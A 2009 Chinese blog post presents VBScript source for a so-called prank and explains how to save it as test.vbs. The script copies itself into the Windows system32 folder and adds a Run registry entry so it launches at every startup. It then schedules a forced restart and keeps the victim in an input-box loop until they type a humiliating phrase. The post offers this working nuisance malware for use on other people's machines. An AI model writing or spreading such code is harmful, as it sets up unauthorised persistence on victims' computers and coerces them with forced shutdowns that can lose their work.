注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

功夫茶+咖啡

世界没有完美,但努力可以接近完美

 
 
 

日志

 
 

恶作剧(不回答问题自动关机)提供源码  

2009-01-10 11:22:36|  分类: My Diary |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
on error resume next
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy   "c:\windows\system32\"
Dim AutoRunProgram  
Set AutoRunProgram = WScript.CreateObject("WScript.shell") 
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"  
Type_Name = "REG_SZ"  
Key_Name = "test.vbs"  
Key_data = "C:\windows\system32\test.vbs"  
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""快喊大哥,不喊缪大哥就三百秒钟关你机,不信,试试···"" ",0 ,true  
dim a
do while(a <> "大哥")
a = inputbox ("喊大哥,就不关机,快撒,说 ""大哥"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "就是咯,不说你就出事"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true  
msgbox chr(13) + chr(13) + chr(13) + "小弟真乖"

把上面代码另存为test.vbs就好。(建立一个文本,复制进去,然后保存,将格式改为VBS)
  评论这张
 
阅读(862)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017